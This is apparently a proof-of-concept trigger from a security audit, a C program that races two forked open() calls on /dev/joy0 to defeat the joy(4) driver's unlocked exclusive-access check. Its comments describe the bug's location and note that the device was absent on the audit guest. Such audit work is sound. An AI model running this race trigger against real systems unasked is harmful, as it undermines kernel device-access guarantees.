DF-5099 / joy_open_race.c
/* DF-5099 trigger — exact source built on the audit guest (see build.log). * * joyopen()/joyclose() exclusive-access protocol is an unlocked * check-then-set on joy->timeout[i] (sys/dev/misc/joy/joy.c:159-162). * Two processes racing open("/dev/joy0") can BOTH pass the * `if (joy->timeout[i]) return EBUSY;` check before either stores * JOY_TIMEOUT, so both succeed -> EBUSY exclusivity bypassed. A close() * by one holder zeroes the flag (joy.c:173) while the other holder still * has the device open, permanently dropping the exclusive claim. * * On hardware WITH /dev/joy0 this prints * "iterations=2000 EBUSY-bypassing iterations=N stray opens=M" with N>0. * On this audit guest joy(4) never attaches (no ISA gameport; kldload joy * alone creates no node), so open() returns ENOENT (see run.log). */ #include <sys/types.h> #include <sys/wait.h> #include <sys/ioctl.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <unistd.h> #define DEV "/dev/joy0" int main(void) { int fd, i, races = 0, opens = 0; fd = open(DEV, O_RDWR); if (fd < 0) { printf("open %s: %s (errno=%d)\n", DEV, strerror(errno), errno); printf("joy(4) not attached on this machine -- cannot exercise joyopen() race\n"); return (2); } close(fd); for (i = 0; i < 2000; i++) { pid_t p1, p2; int st1 = 0, st2 = 0; fd = open(DEV, O_RDWR); if (fd < 0) { printf("holder open failed: %s\n", strerror(errno)); return (1); } p1 = fork(); if (p1 == 0) { _exit(open(DEV, O_RDWR) >= 0 ? 0 : 1); } p2 = fork(); if (p2 == 0) { _exit(open(DEV, O_RDWR) >= 0 ? 0 : 1); } waitpid(p1, &st1, 0); waitpid(p2, &st2, 0); if (WEXITSTATUS(st1) == 0) opens++; if (WEXITSTATUS(st2) == 0) opens++; if (WEXITSTATUS(st1) == 0 || WEXITSTATUS(st2) == 0) races++; close(fd); } printf("iterations=2000 EBUSY-bypassing iterations=%d stray opens=%d\n", races, opens); return (races ? 0 : 3); } |